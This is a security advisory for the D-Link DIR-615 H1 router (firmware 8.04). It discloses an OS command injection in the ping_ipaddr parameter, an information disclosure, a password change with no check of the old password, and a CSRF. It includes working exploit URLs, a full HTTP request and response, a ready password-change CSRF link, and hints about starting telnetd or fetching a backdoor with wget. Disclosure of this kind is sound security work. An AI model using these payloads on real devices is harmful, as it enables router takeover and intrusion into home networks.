Device Name: DIR-615 - Hardware revision H1
Vendor: D-Link

============ Device Description: ============

Delivering great wireless performance, network security and coverage, the D-Link Wireless N 300 Router (DIR-615) is ideal for upgrading your existing wireless home network.

Source: http://www.dlink.com/us/en/support/product/dir-615-wireless-n-300-router

============  Vulnerable Firmware Releases: ============

Firmware Version :	8.04, Tue, 4, Sep, 2012
Firmware Version :	8.04, Fri, 18, Jan, 2013


============ Vulnerability Overview: ============


* OS-Command Injection:
	=> Parameter: ping_ipaddr

The vulnerability is caused by missing input validation in the ping_ipaddr parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to start a telnetd or upload and execute a backdoor to compromise the device.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

Example Exploit:

http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=
http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr=

Request:
GET /tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr= HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.199/adv_virtual_batch.htm
Connection: keep-alive

Response:
HTTP/1.0 200 OK
Pragma: no-cache
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript" src="common.js.htm"></script>
<script language="javascript">
CommJs({init:INC_COMM_PAGE,group:PAGE_GROUP_TOOLS});
var pingResult="Domain";
var pingip="ipv4_1.1.1.1Linux DIR-615 2.6.21 #2 Fri Jan 18 16:42:24 CST 2013 mips unknown";	<<==
var vctinfo= [
{ethport:'0', status:'0', rate:'0', dup:'0'},
{ethport:'1', status:'0', rate:'0', dup:'0'},
{ethport:'2', status:'0', rate:'0', dup:'0'},

You have wget on the device for downloading further tools.

* Information Disclosure:

Detailed device information with configuration details.

Request:
http://192.168.178.199/gconfig.htm

Response:
var ModelName = 'DIR-615'; var systemName='DLINK-DIR615'; var FunctionList = {HAS_PRIORITY_WEB_ACCOUNT:1,PRIORITY_WEB_ACCOUNT_NUM:1,HAS_IPV6_AUTO_CONFIG:1,DHCPD_HAS_OPTION_66:1,SUPPORT_WPS_DISABLE_PINCODE:1,SUPPORT_IPV6_DSLITE:1,HAS_IPV6_6RD:0,NON_USED:0}

* For changing the current password there is no request to the current password

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

POST /tools_admin.htm HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/tools_admin.htm
Cookie: uid=wBIfbpFoJ9
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

page=tools_admin&admin_password1=admin&admin_password2=admin&hostname=DIR-615

* CSRF for changing the password without knowing the current one:

http://192.168.178.199/tools_admin.htm?page=tools_admin&admin_password1=admin2&admin_password2=admin2&hostname=DIR-615

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

November 2012 - discovered vulnerability
11.11.2012 - contacted dlink via the webinterface http://www.dlink.com/us/en/support/contact-support
20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link
21.12.2012 - D-link responded that they will check the findings *h00ray*
11.01.2013 - requested status update
25.01.2013 - requested status update
25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix
xx.02.2013 - no update from dlink, public release


===================== Advisory end =====================